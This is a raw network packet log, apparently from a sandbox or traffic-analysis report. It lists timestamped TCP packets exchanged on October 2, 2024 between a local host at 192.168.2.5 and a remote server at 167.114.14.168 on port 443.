Oct 2, 2024 06:10:12.712225914 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.712236881 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.712285042 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.746174097 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.746205091 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.746328115 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.746345997 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.746413946 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.796758890 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.796785116 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.797045946 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.797070980 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.797149897 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.797637939 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.797662020 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.797739983 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.797754049 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.797816992 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.797900915 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.797924042 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.797983885 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.797997952 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.798058033 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.798547029 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.798567057 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.798640013 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.798654079 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.798711061 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.799618006 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.799649000 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.799715996 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.799730062 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.799781084 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.800276041 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.800296068 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.800365925 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.800373077 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.800426006 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.800602913 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.800623894 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.800695896 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.800703049 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.800756931 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.834693909 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.834719896 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.834831953 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.834846973 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.834908962 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.900644064 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.900672913 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.900788069 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.900796890 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.900806904 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.900830984 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.900837898 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.900852919 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.900866985 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.900902987 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.900907993 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.900957108 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.901093006 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.901112080 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.901177883 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.901185036 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.901236057 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.901392937 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.901412964 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.901468039 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.901479006 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.901495934 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.901519060 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.901526928 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.901532888 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.901556015 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.901592970 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.901993990 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.902020931 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.902076006 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.902082920 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.902129889 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.902261972 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.902282000 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.902342081 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.902350903 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.902400017 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.922883987 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.922907114 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.923043013 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.923051119 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.923094988 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.974153042 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.974176884 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.974240065 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.974261045 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.974291086 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.974312067 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.975105047 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.975121021 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.975187063 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.975199938 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.975260019 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.975430965 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.975445986 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.975508928 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.975522041 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.975547075 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.975568056 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.975740910 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.975756884 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.975822926 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.975836992 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.975913048 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.976790905 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.976807117 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.976866007 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.976878881 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.976927042 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.977475882 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.977492094 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.977562904 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.977576971 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.977638960 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.977756977 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.977772951 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.977826118 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.977838993 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.977865934 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.977885962 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.011645079 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.011665106 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.011718988 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.011729956 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.011756897 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.011773109 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.064308882 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.064330101 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.064424992 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.064440966 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.064498901 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.064528942 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.064549923 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.064596891 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.064631939 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.064657927 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.064678907 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.064805031 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.064821959 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.064877033 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.064888954 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.064917088 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.064946890 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.065143108 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.065159082 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.065224886 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.065237999 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.065288067 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.066381931 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.066401958 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.066468000 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.066483021 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.066538095 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.067481995 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.067497969 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.067545891 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.067559958 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.067586899 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.067615986 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.067835093 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.067850113 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.067898989 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.067912102 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.067962885 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.067962885 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.100186110 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.100205898 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.100337029 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.100354910 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.100415945 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.152864933 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.152887106 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.153054953 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.153093100 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.153116941 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.153146982 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.153198957 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.153390884 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.153405905 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.153455973 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.153467894 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.153513908 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.153572083 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.153590918 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.153630018 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.153644085 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.153670073 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.157125950 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.157143116 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.157203913 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.157218933 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.157433033 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.157450914 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.157494068 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.157511950 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.157536983 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.157708883 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.157721996 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.157779932 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.157794952 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.157824993 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.188694954 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.188728094 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.188779116 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.188807964 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.188832045 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.241945982 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.252855062 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.252863884 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.252937078 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.252939939 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.252981901 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.253006935 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.253029108 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.253057957 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.253084898 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.253103971 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.253168106 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.253195047 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.253242970 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.253463984 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.253479958 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.253541946 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.253555059 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.253596067 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.253619909 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.253623009 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.253635883 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.253664970 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.253705025 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.259335041 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.259351969 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.259447098 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.259459972 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.259530067 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.259687901 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.259706020 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.259762049 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.259778976 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.259881020 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.259896040 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.259901047 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.259917021 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.259958029 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.260086060 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.292387009 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.292403936 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.292474031 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.292489052 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.292546988 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.354607105 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.354630947 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.354727030 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.354743004 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.354863882 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.354885101 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.354902029 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.354919910 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.354943037 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.354960918 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.354979038 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.355129004 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.355144024 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.355201006 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.355212927 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.355262995 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.355410099 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.355427027 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.355487108 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.355500937 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.355552912 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.355724096 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.355741978 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.355803013 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.355817080 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.355870008 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.355926037 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.355942965 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.355998039 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.356010914 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.356064081 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.356163979 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.356180906 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.356232882 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.356247902 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.356297970 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.380875111 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.380892992 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.380975008 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.380989075 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.381046057 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.461117029 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.461142063 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.461389065 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.461397886 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.461455107 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.461508036 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.461536884 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.461596966 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.461616993 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.461680889 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.461700916 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.461931944 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.461951017 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.462002993 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.462019920 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.462038994 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.462451935 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.462467909 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.462519884 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.462532043 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.462553978 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.462707996 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.462726116 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.462771893 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.462786913 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.462805033 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.462977886 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.462992907 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.463042974 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.463056087 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.463077068 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:13.488532066 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.488555908 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:13.488701105 CEST	49715	443	192.168.2.5	167.114.14.168
